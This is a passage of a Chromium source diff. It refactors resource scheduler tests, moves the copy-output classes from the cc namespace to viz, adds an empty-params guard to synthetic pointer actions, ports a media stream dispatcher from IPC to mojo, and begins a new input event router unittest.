+    // before the resource scheduler starts throttling delayable requests.
+    for (int i = 0; i < kOverriddenNumRequests; ++i) {
+      std::string url = "http://host/low" + base::IntToString(i);
+      lows_singlehost.push_back(NewRequest(url.c_str(), net::LOWEST));
+      EXPECT_TRUE(lows_singlehost[i]->started());
+    }
+
+    std::unique_ptr<TestRequest> second_last_singlehost(
+        NewRequest("http://host/s_last", net::LOWEST));
+    std::unique_ptr<TestRequest> last_singlehost(
+        NewRequest("http://host/last", net::LOWEST));
+
+    if (experiment_status) {
+      // Experiment enabled, hence requests should be limited.
+      // Second last should not start because there are |kOverridenNumRequests|
+      // delayable requests already in-flight.
+      EXPECT_FALSE(second_last_singlehost->started());
+
+      // Completion of a delayable request must result in starting of the
+      // second-last request.
+      lows_singlehost.erase(lows_singlehost.begin());
+      base::RunLoop().RunUntilIdle();
+      EXPECT_TRUE(second_last_singlehost->started());
+      EXPECT_FALSE(last_singlehost->started());
+
+      // Completion of another delayable request must result in starting of the
+      // last request.
+      lows_singlehost.erase(lows_singlehost.begin());
+      base::RunLoop().RunUntilIdle();
+      EXPECT_TRUE(last_singlehost->started());
+    } else {
+      // Requests should start because the default limit is 10.
+      EXPECT_TRUE(second_last_singlehost->started());
+      EXPECT_TRUE(last_singlehost->started());
+    }
+  }
+
   void ReadConfigTestHelper(size_t num_bdp_ranges,
                             const std::string& max_ect_string) {
     base::FieldTrialParamAssociator::GetInstance()->ClearAllParamsForTesting();
@@ -1074,98 +1148,34 @@
 }
 
 // Tests that the maximum number of delayable requests is overridden when the
-// experiment is enabled and not when it is disabled. The BDP buckets are
-// correct and the effective connection type is also in the configuration
-// bucket.
-TEST_F(ResourceSchedulerTest, RequestLimitOverrideConfigTest) {
-  for (bool experiment_status : {true, false}) {
-    base::test::ScopedFeatureList scoped_feature_list;
-    InitializeMaxDelayableRequestsExperiment(&scoped_feature_list,
-                                             experiment_status);
+// experiment is enabled. The BDP buckets are correct and the effective
+// connection type is also in the configuration bucket.
+TEST_F(ResourceSchedulerTest, RequestLimitOverrideEnabled) {
+  RequestLimitOverrideConfigTestHelper(true);
+}
 
-    // Set BDP to 120 kbits, which lies in the first configuration bucket. Set
-    // the effective connection type to Slow-2G, which is slower than the
-    // threshold configured in |InitializeMaxDelayableRequestsExperiment|. Needs
-    // to be done before initializing the scheduler because the client is
-    // created on the call to |InitializeScheduler|, which is where the initial
-    // limits for the delayable requests in flight are computed.
-    network_quality_estimator_.set_bandwidth_delay_product_kbits(120);
-    network_quality_estimator_.set_effective_connection_type(
-        net::EFFECTIVE_CONNECTION_TYPE_SLOW_2G);
-    // Initialize the scheduler.
-    InitializeScheduler();
-
-    // For 2G, the typical values of RTT and bandwidth should result in the
-    // override taking effect with the experiment enabled. For this case, the
-    // new limit is 2. The limit will matter only once the page has a body,
-    // since delayable requests are not loaded before that.
-    scheduler()->OnWillInsertBody(kChildId, kRouteId);
-
-    // Throw in one high priority request to ensure that it does not matter once
-    // a body exists.
-    std::unique_ptr<TestRequest> high2(
-        NewRequest("http://host/high2", net::HIGHEST));
-    EXPECT_TRUE(high2->started());
-
-    // Should match the configuration set by
-    // |InitializeMaxDelayableRequestsExperiment|
-    const int kOverriddenNumRequests = 2;
-
-    std::vector<std::unique_ptr<TestRequest>> lows_singlehost;
-    // Queue the maximum number of delayable requests that should be started
-    // before the resource scheduler starts throttling delayable requests.
-    for (int i = 0; i < kOverriddenNumRequests; ++i) {
-      std::string url = "http://host/low" + base::IntToString(i);
-      lows_singlehost.push_back(NewRequest(url.c_str(), net::LOWEST));
-      EXPECT_TRUE(lows_singlehost[i]->started());
-    }
-
-    std::unique_ptr<TestRequest> second_last_singlehost(
-        NewRequest("http://host/s_last", net::LOWEST));
-    std::unique_ptr<TestRequest> last_singlehost(
-        NewRequest("http://host/last", net::LOWEST));
-
-    if (experiment_status) {
-      // Experiment enabled, hence requests should be limited.
-      // Second last should not start because there are |kOverridenNumRequests|
-      // delayable requests already in-flight.
-      EXPECT_FALSE(second_last_singlehost->started());
-
-      // Completion of a delayable request must result in starting of the
-      // second-last request.
-      lows_singlehost.erase(lows_singlehost.begin());
-      base::RunLoop().RunUntilIdle();
-      EXPECT_TRUE(second_last_singlehost->started());
-      EXPECT_FALSE(last_singlehost->started());
-
-      // Completion of another delayable request must result in starting of the
-      // last request.
-      lows_singlehost.erase(lows_singlehost.begin());
-      base::RunLoop().RunUntilIdle();
-      EXPECT_TRUE(last_singlehost->started());
-    } else {
-      // Requests should start because the default limit is 10.
-      EXPECT_TRUE(second_last_singlehost->started());
-      EXPECT_TRUE(last_singlehost->started());
-    }
-  }
+// Tests that the maximum number of delayable requests is not overridden when
+// the experiment is disabled. The BDP buckets are correct and the effective
+// connection type is also in the configuration bucket.
+TEST_F(ResourceSchedulerTest, RequestLimitOverrideDisabled) {
+  RequestLimitOverrideConfigTestHelper(false);
 }
 
 // Test that the limit is not overridden when the effective connection type is
 // not equal to any of the values provided in the experiment configuration.
 TEST_F(ResourceSchedulerTest, RequestLimitOverrideOutsideECTRange) {
+  base::test::ScopedFeatureList scoped_feature_list;
+  InitializeMaxDelayableRequestsExperiment(&scoped_feature_list, true);
+  InitializeScheduler();
   for (net::EffectiveConnectionType ect :
        {net::EFFECTIVE_CONNECTION_TYPE_UNKNOWN,
         net::EFFECTIVE_CONNECTION_TYPE_OFFLINE,
         net::EFFECTIVE_CONNECTION_TYPE_3G, net::EFFECTIVE_CONNECTION_TYPE_4G}) {
-    base::test::ScopedFeatureList scoped_feature_list;
-    InitializeMaxDelayableRequestsExperiment(&scoped_feature_list, true);
     // Set BDP to 120 kbits, which lies in the configuration bucket. Set the
     // effective connection type to a value for which the experiment should not
     // be run.
     network_quality_estimator_.set_bandwidth_delay_product_kbits(120);
     network_quality_estimator_.set_effective_connection_type(ect);
-    InitializeScheduler();
 
     // The limit will matter only once the page has a body, since delayable
     // requests are not loaded before that.
diff --git a/content/browser/media/capture/aura_window_capture_machine.cc b/content/browser/media/capture/aura_window_capture_machine.cc
index 0531e14..286e7c4 100644
--- a/content/browser/media/capture/aura_window_capture_machine.cc
+++ b/content/browser/media/capture/aura_window_capture_machine.cc
@@ -9,9 +9,9 @@
 
 #include "base/logging.h"
 #include "base/metrics/histogram_macros.h"
-#include "cc/output/copy_output_request.h"
-#include "cc/output/copy_output_result.h"
 #include "components/viz/common/gl_helper.h"
+#include "components/viz/common/quads/copy_output_request.h"
+#include "components/viz/common/quads/copy_output_result.h"
 #include "content/browser/compositor/image_transport_factory.h"
 #include "content/browser/media/capture/desktop_capture_device_uma_types.h"
 #include "content/public/browser/browser_thread.h"
@@ -227,8 +227,8 @@
   }
   if (oracle_proxy_->ObserveEventAndDecideCapture(
           event, gfx::Rect(), event_time, &frame, &capture_frame_cb)) {
-    std::unique_ptr<cc::CopyOutputRequest> request =
-        cc::CopyOutputRequest::CreateRequest(
+    std::unique_ptr<viz::CopyOutputRequest> request =
+        viz::CopyOutputRequest::CreateRequest(
             base::BindOnce(&AuraWindowCaptureMachine::DidCopyOutput,
                            weak_factory_.GetWeakPtr(), std::move(frame),
                            event_time, start_time, capture_frame_cb));
@@ -244,7 +244,7 @@
     base::TimeTicks event_time,
     base::TimeTicks start_time,
     const CaptureFrameCallback& capture_frame_cb,
-    std::unique_ptr<cc::CopyOutputResult> result) {
+    std::unique_ptr<viz::CopyOutputResult> result) {
   DCHECK_CURRENTLY_ON(BrowserThread::UI);
 
   static bool first_call = true;
@@ -284,7 +284,7 @@
     scoped_refptr<media::VideoFrame> video_frame,
     base::TimeTicks event_time,
     const CaptureFrameCallback& capture_frame_cb,
-    std::unique_ptr<cc::CopyOutputResult> result) {
+    std::unique_ptr<viz::CopyOutputResult> result) {
   DCHECK_CURRENTLY_ON(BrowserThread::UI);
 
   if (!desktop_window_) {
@@ -326,7 +326,7 @@
   }
 
   viz::TextureMailbox texture_mailbox;
-  std::unique_ptr<cc::SingleReleaseCallback> release_callback;
+  std::unique_ptr<viz::SingleReleaseCallback> release_callback;
   result->TakeTexture(&texture_mailbox, &release_callback);
   DCHECK(texture_mailbox.IsTexture());
   if (!texture_mailbox.IsTexture()) {
@@ -369,7 +369,7 @@
     base::TimeTicks event_time,
     const CaptureFrameCallback& capture_frame_cb,
     scoped_refptr<media::VideoFrame> target,
-    std::unique_ptr<cc::SingleReleaseCallback> release_callback,
+    std::unique_ptr<viz::SingleReleaseCallback> release_callback,
     bool result) {
   DCHECK_CURRENTLY_ON(BrowserThread::UI);
 
diff --git a/content/browser/media/capture/aura_window_capture_machine.h b/content/browser/media/capture/aura_window_capture_machine.h
index 4c89453..5062a692 100644
--- a/content/browser/media/capture/aura_window_capture_machine.h
+++ b/content/browser/media/capture/aura_window_capture_machine.h
@@ -18,11 +18,8 @@
 #include "ui/compositor/compositor.h"
 #include "ui/compositor/compositor_animation_observer.h"
 
-namespace cc {
-class CopyOutputResult;
-}  // namespace cc
-
 namespace viz {
+class CopyOutputResult;
 class ReadbackYUVInterface;
 }
 
@@ -84,7 +81,7 @@
                      base::TimeTicks event_time,
                      base::TimeTicks start_time,
                      const CaptureFrameCallback& capture_frame_cb,
-                     std::unique_ptr<cc::CopyOutputResult> result);
+                     std::unique_ptr<viz::CopyOutputResult> result);
 
   // A helper which does the real work for DidCopyOutput. Returns true if
   // succeeded and |capture_frame_cb| will be run at some future point. Returns
@@ -93,7 +90,7 @@
   bool ProcessCopyOutputResponse(scoped_refptr<media::VideoFrame> video_frame,
                                  base::TimeTicks event_time,
                                  const CaptureFrameCallback& capture_frame_cb,
-                                 std::unique_ptr<cc::CopyOutputResult> result);
+                                 std::unique_ptr<viz::CopyOutputResult> result);
 
   // Renders the cursor if needed and then delivers the captured frame.
   static void CopyOutputFinishedForVideo(
@@ -101,7 +98,7 @@
       base::TimeTicks event_time,
       const CaptureFrameCallback& capture_frame_cb,
       scoped_refptr<media::VideoFrame> target,
-      std::unique_ptr<cc::SingleReleaseCallback> release_callback,
+      std::unique_ptr<viz::SingleReleaseCallback> release_callback,
       bool result);
 
   // The window associated with the desktop.
diff --git a/content/browser/media/capture/web_contents_video_capture_device_unittest.cc b/content/browser/media/capture/web_contents_video_capture_device_unittest.cc
index 502b06e..512716b6 100644
--- a/content/browser/media/capture/web_contents_video_capture_device_unittest.cc
+++ b/content/browser/media/capture/web_contents_video_capture_device_unittest.cc
@@ -371,7 +371,7 @@
         wait_color_yuv_ == color) {
       last_frame_color_yuv_ = color;
       last_frame_size_ = size;
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
     }
   }
 
diff --git a/content/browser/presentation/presentation_service_impl.cc b/content/browser/presentation/presentation_service_impl.cc
index 5f920098..0688442 100644
--- a/content/browser/presentation/presentation_service_impl.cc
+++ b/content/browser/presentation/presentation_service_impl.cc
@@ -195,7 +195,7 @@
 
 void PresentationServiceImpl::ReconnectPresentation(
     const std::vector<GURL>& presentation_urls,
-    const base::Optional<std::string>& presentation_id,
+    const std::string& presentation_id,
     NewPresentationCallback callback) {
   DVLOG(2) << "ReconnectPresentation";
   if (!controller_delegate_) {
@@ -216,7 +216,7 @@
                               presentation_urls,
                               render_frame_host_->GetLastCommittedOrigin());
   controller_delegate_->ReconnectPresentation(
-      request, presentation_id.value_or(std::string()),
+      request, presentation_id,
       base::Bind(&PresentationServiceImpl::OnReconnectPresentationSucceeded,
                  weak_factory_.GetWeakPtr(), request_id),
       base::Bind(&PresentationServiceImpl::OnReconnectPresentationError,
diff --git a/content/browser/presentation/presentation_service_impl.h b/content/browser/presentation/presentation_service_impl.h
index 8a2d753..8e9e8385 100644
--- a/content/browser/presentation/presentation_service_impl.h
+++ b/content/browser/presentation/presentation_service_impl.h
@@ -69,7 +69,7 @@
   void StartPresentation(const std::vector<GURL>& presentation_urls,
                          NewPresentationCallback callback) override;
   void ReconnectPresentation(const std::vector<GURL>& presentation_urls,
-                             const base::Optional<std::string>& presentation_id,
+                             const std::string& presentation_id,
                              NewPresentationCallback callback) override;
   void CloseConnection(const GURL& presentation_url,
                        const std::string& presentation_id) override;
diff --git a/content/browser/presentation/presentation_service_impl_unittest.cc b/content/browser/presentation/presentation_service_impl_unittest.cc
index 8619e9f..d3c5a14 100644
--- a/content/browser/presentation/presentation_service_impl_unittest.cc
+++ b/content/browser/presentation/presentation_service_impl_unittest.cc
@@ -567,9 +567,8 @@
   EXPECT_CALL(mock_delegate_,
               ReconnectPresentationInternal(_, kPresentationId, _, _))
       .WillOnce(SaveArgByMove<2>(&success_cb));
-  service_impl_->ReconnectPresentation(
-      presentation_urls_, base::Optional<std::string>(kPresentationId),
-      mock_presentation_cb.Get());
+  service_impl_->ReconnectPresentation(presentation_urls_, kPresentationId,
+                                       mock_presentation_cb.Get());
   EXPECT_FALSE(success_cb.is_null());
   EXPECT_CALL(mock_delegate_, ListenForConnectionStateChange(_, _, _, _))
       .Times(1);
@@ -584,9 +583,8 @@
   EXPECT_CALL(mock_delegate_,
               ReconnectPresentationInternal(_, kPresentationId, _, _))
       .WillOnce(SaveArgByMove<3>(&error_cb));
-  service_impl_->ReconnectPresentation(
-      presentation_urls_, base::Optional<std::string>(kPresentationId),
-      mock_presentation_cb.Get());
+  service_impl_->ReconnectPresentation(presentation_urls_, kPresentationId,
+                                       mock_presentation_cb.Get());
   EXPECT_FALSE(error_cb.is_null());
   EXPECT_CALL(mock_presentation_cb, Run(OptionalIsNull(), OptionalIsNotNull()));
   std::move(error_cb).Run(
diff --git a/content/browser/renderer_host/compositor_impl_android.cc b/content/browser/renderer_host/compositor_impl_android.cc
index 25e91db6..7f2c879 100644
--- a/content/browser/renderer_host/compositor_impl_android.cc
+++ b/content/browser/renderer_host/compositor_impl_android.cc
@@ -902,7 +902,7 @@
 }
 
 void CompositorImpl::RequestCopyOfOutputOnRootLayer(
-    std::unique_ptr<cc::CopyOutputRequest> request) {
+    std::unique_ptr<viz::CopyOutputRequest> request) {
   root_window_->GetLayer()->RequestCopyOfOutput(std::move(request));
 }
 
diff --git a/content/browser/renderer_host/compositor_impl_android.h b/content/browser/renderer_host/compositor_impl_android.h
index 2a06310e..2c767ad7 100644
--- a/content/browser/renderer_host/compositor_impl_android.h
+++ b/content/browser/renderer_host/compositor_impl_android.h
@@ -115,7 +115,7 @@
   // WindowAndroidCompositor implementation.
   void AttachLayerForReadback(scoped_refptr<cc::Layer> layer) override;
   void RequestCopyOfOutputOnRootLayer(
-      std::unique_ptr<cc::CopyOutputRequest> request) override;
+      std::unique_ptr<viz::CopyOutputRequest> request) override;
   void SetNeedsAnimate() override;
   viz::FrameSinkId GetFrameSinkId() override;
   void AddChildFrameSink(const viz::FrameSinkId& frame_sink_id) override;
diff --git a/content/browser/renderer_host/cursor_manager_unittest.cc b/content/browser/renderer_host/cursor_manager_unittest.cc
index e522972..506f7a4 100644
--- a/content/browser/renderer_host/cursor_manager_unittest.cc
+++ b/content/browser/renderer_host/cursor_manager_unittest.cc
@@ -13,6 +13,7 @@
 #include "content/public/common/cursor_info.h"
 #include "content/public/test/mock_render_process_host.h"
 #include "content/public/test/test_browser_context.h"
+#include "content/test/dummy_render_widget_host_delegate.h"
 #include "content/test/test_render_view_host.h"
 #include "testing/gtest/include/gtest/gtest.h"
 
@@ -23,24 +24,6 @@
 
 namespace {
 
-// TODO(kenrb): This mock is implemented in several unit test files, and
-// could be moved into a common header.
-class MockRenderWidgetHostDelegate : public RenderWidgetHostDelegate {
- public:
-  MockRenderWidgetHostDelegate() {}
-  ~MockRenderWidgetHostDelegate() override {}
-
- private:
-  // RenderWidgetHostDelegate:
-  void ExecuteEditCommand(
-      const std::string& command,
-      const base::Optional<base::string16>& value) override {}
-  void Cut() override {}
-  void Copy() override {}
-  void Paste() override {}
-  void SelectAll() override {}
-};
-
 class MockRenderWidgetHostViewForCursors : public TestRenderWidgetHostView {
  public:
   MockRenderWidgetHostViewForCursors(RenderWidgetHost* host, bool top_view)
@@ -101,7 +84,7 @@
   // destruction.
   MockRenderWidgetHostViewForCursors* top_view_;
 
-  MockRenderWidgetHostDelegate delegate_;
+  DummyRenderWidgetHostDelegate delegate_;
 
  private:
   DISALLOW_COPY_AND_ASSIGN(CursorManagerTest);
diff --git a/content/browser/renderer_host/delegated_frame_host.cc b/content/browser/renderer_host/delegated_frame_host.cc
index 5071613..fab63825 100644
--- a/content/browser/renderer_host/delegated_frame_host.cc
+++ b/content/browser/renderer_host/delegated_frame_host.cc
@@ -15,9 +15,9 @@
 #include "base/time/default_tick_clock.h"
 #include "cc/base/switches.h"
 #include "cc/output/compositor_frame.h"
-#include "cc/output/copy_output_request.h"
-#include "cc/resources/single_release_callback.h"
 #include "components/viz/common/gl_helper.h"
+#include "components/viz/common/quads/copy_output_request.h"
+#include "components/viz/common/quads/single_release_callback.h"
 #include "components/viz/common/quads/texture_mailbox.h"
 #include "components/viz/host/host_frame_sink_manager.h"
 #include "components/viz/service/frame_sinks/compositor_frame_sink_support.h"
@@ -125,8 +125,8 @@
     return;
   }
 
-  std::unique_ptr<cc::CopyOutputRequest> request =
-      cc::CopyOutputRequest::CreateRequest(
+  std::unique_ptr<viz::CopyOutputRequest> request =
+      viz::CopyOutputRequest::CreateRequest(
           base::BindOnce(&CopyFromCompositingSurfaceHasResult, output_size,
                          preferred_color_type, callback));
   if (!src_subrect.IsEmpty())
@@ -143,8 +143,8 @@
     return;
   }
 
-  std::unique_ptr<cc::CopyOutputRequest> request =
-      cc::CopyOutputRequest::CreateRequest(base::BindOnce(
+  std::unique_ptr<viz::CopyOutputRequest> request =
+      viz::CopyOutputRequest::CreateRequest(base::BindOnce(
           &DelegatedFrameHost::CopyFromCompositingSurfaceHasResultForVideo,
           AsWeakPtr(),  // For caching the ReadbackYUVInterface on this class.
           nullptr, std::move(target), callback));
@@ -347,8 +347,8 @@
     subscriber_texture = new OwnedMailbox(helper);
   }
 
-  std::unique_ptr<cc::CopyOutputRequest> request =
-      cc::CopyOutputRequest::CreateRequest(base::BindOnce(
+  std::unique_ptr<viz::CopyOutputRequest> request =
+      viz::CopyOutputRequest::CreateRequest(base::BindOnce(
           &DelegatedFrameHost::CopyFromCompositingSurfaceHasResultForVideo,
           AsWeakPtr(), subscriber_texture, frame,
           base::Bind(callback, present_time)));
@@ -553,7 +553,7 @@
     base::WeakPtr<DelegatedFrameHost> dfh,
     const base::Callback<void(bool)>& callback,
     scoped_refptr<OwnedMailbox> subscriber_texture,
-    std::unique_ptr<cc::SingleReleaseCallback> release_callback,
+    std::unique_ptr<viz::SingleReleaseCallback> release_callback,
     bool result) {
   callback.Run(result);
 
@@ -579,7 +579,7 @@
     scoped_refptr<OwnedMailbox> subscriber_texture,
     scoped_refptr<media::VideoFrame> video_frame,
     const base::Callback<void(const gfx::Rect&, bool)>& callback,
-    std::unique_ptr<cc::CopyOutputResult> result) {
+    std::unique_ptr<viz::CopyOutputResult> result) {
   base::ScopedClosureRunner scoped_callback_runner(
       base::Bind(callback, gfx::Rect(), false));
   base::ScopedClosureRunner scoped_return_subscriber_texture(base::Bind(
@@ -638,7 +638,7 @@
     return;
 
   viz::TextureMailbox texture_mailbox;
-  std::unique_ptr<cc::SingleReleaseCallback> release_callback;
+  std::unique_ptr<viz::SingleReleaseCallback> release_callback;
   result->TakeTexture(&texture_mailbox, &release_callback);
   DCHECK(texture_mailbox.IsTexture());
 
@@ -815,7 +815,7 @@
 }
 
 void DelegatedFrameHost::RequestCopyOfOutput(
-    std::unique_ptr<cc::CopyOutputRequest> request) {
+    std::unique_ptr<viz::CopyOutputRequest> request) {
   // If a specific area has not been requested, set one to ensure correct
   // clipping occurs.
   if (!request->has_area())
diff --git a/content/browser/renderer_host/delegated_frame_host.h b/content/browser/renderer_host/delegated_frame_host.h
index 36b1926e..41531598 100644
--- a/content/browser/renderer_host/delegated_frame_host.h
+++ b/content/browser/renderer_host/delegated_frame_host.h
@@ -10,9 +10,9 @@
 #include <vector>
 
 #include "base/gtest_prod_util.h"
-#include "cc/output/copy_output_result.h"
 #include "components/viz/common/frame_sinks/begin_frame_args.h"
 #include "components/viz/common/frame_sinks/begin_frame_source.h"
+#include "components/viz/common/quads/copy_output_result.h"
 #include "components/viz/service/frame_sinks/compositor_frame_sink_support_client.h"
 #include "components/viz/service/frame_sinks/frame_evictor.h"
 #include "content/browser/compositor/image_transport_factory.h"
@@ -186,7 +186,7 @@
     return !!released_front_lock_.get();
   }
   void SetRequestCopyOfOutputCallbackForTesting(
-      const base::Callback<void(std::unique_ptr<cc::CopyOutputRequest>)>&
+      const base::Callback<void(std::unique_ptr<viz::CopyOutputRequest>)>&
           callback) {
     request_copy_of_output_callback_for_testing_ = callback;
   }
@@ -204,7 +204,7 @@
   }
   void LockResources();
   void UnlockResources();
-  void RequestCopyOfOutput(std::unique_ptr<cc::CopyOutputRequest> request);
+  void RequestCopyOfOutput(std::unique_ptr<viz::CopyOutputRequest> request);
 
   bool ShouldSkipFrame(const gfx::Size& size_in_dip);
 
@@ -228,13 +228,13 @@
       scoped_refptr<OwnedMailbox> subscriber_texture,
       scoped_refptr<media::VideoFrame> video_frame,
       const base::Callback<void(const gfx::Rect&, bool)>& callback,
-      std::unique_ptr<cc::CopyOutputResult> result);
+      std::unique_ptr<viz::CopyOutputResult> result);
   static void CopyFromCompositingSurfaceFinishedForVideo(
       scoped_refptr<media::VideoFrame> video_frame,
       base::WeakPtr<DelegatedFrameHost> rwhva,
       const base::Callback<void(bool)>& callback,
       scoped_refptr<OwnedMailbox> subscriber_texture,
-      std::unique_ptr<cc::SingleReleaseCallback> release_callback,
+      std::unique_ptr<viz::SingleReleaseCallback> release_callback,
       bool result);
   static void ReturnSubscriberTexture(
       base::WeakPtr<DelegatedFrameHost> rwhva,
@@ -305,7 +305,7 @@
 
   // Callback used to pass the output request to the layer or to a function
   // specified by a test.
-  base::Callback<void(std::unique_ptr<cc::CopyOutputRequest>)>
+  base::Callback<void(std::unique_ptr<viz::CopyOutputRequest>)>
       request_copy_of_output_callback_for_testing_;
 
   // YUV readback pipeline.
diff --git a/content/browser/renderer_host/input/synthetic_pointer_action.cc b/content/browser/renderer_host/input/synthetic_pointer_action.cc
index ba0757b..3740118e 100644
--- a/content/browser/renderer_host/input/synthetic_pointer_action.cc
+++ b/content/browser/renderer_host/input/synthetic_pointer_action.cc
@@ -51,6 +51,9 @@
 SyntheticPointerAction::ForwardTouchOrMouseInputEvents(
     const base::TimeTicks& timestamp,
     SyntheticGestureTarget* target) {
+  if (!params_.params.size())
+    return DONE;
+
   DCHECK_LT(num_actions_dispatched_, params_.params.size());
   SyntheticPointerActionListParams::ParamList& param_list =
       params_.params[num_actions_dispatched_];
@@ -85,4 +88,4 @@
     return RUNNING;
 }
 
-}  // namespace content
\ No newline at end of file
+}  // namespace content
diff --git a/content/browser/renderer_host/input/synthetic_pointer_action_unittest.cc b/content/browser/renderer_host/input/synthetic_pointer_action_unittest.cc
index abf6780..cb244a6 100644
--- a/content/browser/renderer_host/input/synthetic_pointer_action_unittest.cc
+++ b/content/browser/renderer_host/input/synthetic_pointer_action_unittest.cc
@@ -704,6 +704,15 @@
       param3, 1, buttons, SyntheticGestureParams::PEN_INPUT));
 }
 
+TEST_F(SyntheticPointerActionTest, EmptyParams) {
+  CreateSyntheticPointerActionTarget<MockSyntheticPointerPenActionTarget>();
+  pointer_action_.reset(new SyntheticPointerAction(params_));
+
+  ForwardSyntheticPointerAction();
+  EXPECT_EQ(1, num_success_);
+  EXPECT_EQ(0, num_failure_);
+}
+
 }  // namespace
 
 }  // namespace content
diff --git a/content/browser/renderer_host/media/audio_renderer_host_unittest.cc b/content/browser/renderer_host/media/audio_renderer_host_unittest.cc
index 9188837..90e042c3 100644
--- a/content/browser/renderer_host/media/audio_renderer_host_unittest.cc
+++ b/content/browser/renderer_host/media/audio_renderer_host_unittest.cc
@@ -206,6 +206,10 @@
   void SetUp() override {
     base::CommandLine::ForCurrentProcess()->AppendSwitch(
         switches::kUseFakeDeviceForMediaStream);
+    // MediaStreamManager depends on legacy TestBrowserThreadBundle behavior.
+    // TODO: Remove once MediaStreamManager is ported to TaskScheduler.
+    DisableScopedTaskEnvironment();
+
     RenderViewHostTestHarness::SetUp();
     audio_manager_ =
         base::MakeUnique<FakeAudioManagerWithAssociations>(&log_factory_);
diff --git a/content/browser/renderer_host/media/media_stream_dispatcher_host.cc b/content/browser/renderer_host/media/media_stream_dispatcher_host.cc
index d47ea5d..d18480f7 100644
--- a/content/browser/renderer_host/media/media_stream_dispatcher_host.cc
+++ b/content/browser/renderer_host/media/media_stream_dispatcher_host.cc
@@ -71,12 +71,8 @@
 }
 
 bool MediaStreamDispatcherHost::OnMessageReceived(const IPC::Message& message) {
-  bool handled = true;
-  IPC_BEGIN_MESSAGE_MAP(MediaStreamDispatcherHost, message)
-    IPC_MESSAGE_HANDLER(MediaStreamHostMsg_GenerateStream, OnGenerateStream)
-    IPC_MESSAGE_UNHANDLED(handled = false)
-  IPC_END_MESSAGE_MAP()
-  return handled;
+  NOTREACHED();
+  return true;
 }
 
 void MediaStreamDispatcherHost::OnChannelClosing() {
@@ -89,9 +85,9 @@
 MediaStreamDispatcherHost::~MediaStreamDispatcherHost() {
 }
 
-void MediaStreamDispatcherHost::OnGenerateStream(
-    int render_frame_id,
-    int page_request_id,
+void MediaStreamDispatcherHost::GenerateStream(
+    int32_t render_frame_id,
+    int32_t page_request_id,
     const StreamControls& controls,
     const url::Origin& security_origin,
     bool user_gesture) {
@@ -103,6 +99,8 @@
            << " user_gesture=" << user_gesture;
   DCHECK_CURRENTLY_ON(BrowserThread::IO);
 
+  // TODO(c.padhi): Report GenerateStream failure to renderer, see
+  // https://crbug.com/742682.
   if (!MediaStreamManager::IsOriginAllowed(render_process_id_, security_origin))
     return;
 
@@ -153,7 +151,7 @@
 }
 
 void MediaStreamDispatcherHost::CloseDevice(const std::string& label) {
-  DVLOG(1) << __func__ << " label = " << label;
+  DVLOG(1) << __func__ << " label= " << label;
   DCHECK_CURRENTLY_ON(BrowserThread::IO);
 
   media_stream_manager_->CancelRequest(label);
@@ -171,7 +169,7 @@
 }
 
 void MediaStreamDispatcherHost::StreamStarted(const std::string& label) {
-  DVLOG(1) << __func__ << " label = " << label;
+  DVLOG(1) << __func__ << " label= " << label;
   DCHECK_CURRENTLY_ON(BrowserThread::IO);
 
   media_stream_manager_->OnStreamStarted(label);
diff --git a/content/browser/renderer_host/media/media_stream_dispatcher_host.h b/content/browser/renderer_host/media/media_stream_dispatcher_host.h
index ec9decc..7798e6e 100644
--- a/content/browser/renderer_host/media/media_stream_dispatcher_host.h
+++ b/content/browser/renderer_host/media/media_stream_dispatcher_host.h
@@ -63,14 +63,12 @@
  private:
   friend class MockMediaStreamDispatcherHost;
 
-  // IPC message handlers.
-  void OnGenerateStream(int render_frame_id,
-                        int page_request_id,
-                        const StreamControls& controls,
-                        const url::Origin& security_origin,
-                        bool user_gesture);
-
   // mojom::MediaStreamDispatcherHost implementation
+  void GenerateStream(int32_t render_frame_id,
+                      int32_t request_id,
+                      const StreamControls& controls,
+                      const url::Origin& security_origin,
+                      bool user_gesture) override;
   void CancelGenerateStream(int32_t render_frame_id,
                             int32_t request_id) override;
   void StopStreamDevice(int32_t render_frame_id,
diff --git a/content/browser/renderer_host/media/media_stream_dispatcher_host_unittest.cc b/content/browser/renderer_host/media/media_stream_dispatcher_host_unittest.cc
index 06d303a..2df436f7 100644
--- a/content/browser/renderer_host/media/media_stream_dispatcher_host_unittest.cc
+++ b/content/browser/renderer_host/media/media_stream_dispatcher_host_unittest.cc
@@ -114,8 +114,8 @@
                         const url::Origin& security_origin,
                         const base::Closure& quit_closure) {
     quit_closures_.push(quit_closure);
-    MediaStreamDispatcherHost::OnGenerateStream(
-        render_frame_id, page_request_id, controls, security_origin, false);
+    MediaStreamDispatcherHost::GenerateStream(render_frame_id, page_request_id,
+                                              controls, security_origin, false);
   }
 
   void OnStopStreamDevice(int render_frame_id,
@@ -832,8 +832,7 @@
   StreamControls controls(false, true);
 
   base::Closure close_callback;
-  std::unique_ptr<MockMediaStreamUIProxy> stream_ui(
-      new MockMediaStreamUIProxy());
+  auto stream_ui = base::MakeUnique<MockMediaStreamUIProxy>();
   EXPECT_CALL(*stream_ui, MockOnStarted(_))
       .WillOnce(SaveArg<0>(&close_callback));
   media_stream_manager_->UseFakeUIForTests(std::move(stream_ui));
diff --git a/content/browser/renderer_host/render_widget_host_input_event_router.h b/content/browser/renderer_host/render_widget_host_input_event_router.h
index e553bf7..d319c1a3 100644
--- a/content/browser/renderer_host/render_widget_host_input_event_router.h
+++ b/content/browser/renderer_host/render_widget_host_input_event_router.h
@@ -185,6 +185,7 @@
       hittest_data_;
 
   DISALLOW_COPY_AND_ASSIGN(RenderWidgetHostInputEventRouter);
+  friend class RenderWidgetHostInputEventRouterTest;
   FRIEND_TEST_ALL_PREFIXES(SitePerProcessBrowserTest,
                            InputEventRouterGestureTargetMapTest);
   FRIEND_TEST_ALL_PREFIXES(SitePerProcessBrowserTest,
diff --git a/content/browser/renderer_host/render_widget_host_input_event_router_unittest.cc b/content/browser/renderer_host/render_widget_host_input_event_router_unittest.cc
new file mode 100644
index 0000000..58c4f0e
--- /dev/null
+++ b/content/browser/renderer_host/render_widget_host_input_event_router_unittest.cc
@@ -0,0 +1,236 @@
+// Copyright 2017 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "content/browser/renderer_host/render_widget_host_input_event_router.h"
+
+#include "base/test/scoped_task_environment.h"
+#include "content/browser/renderer_host/render_widget_host_impl.h"
+#include "content/public/test/mock_render_process_host.h"
+#include "content/public/test/test_browser_context.h"
+#include "content/test/dummy_render_widget_host_delegate.h"
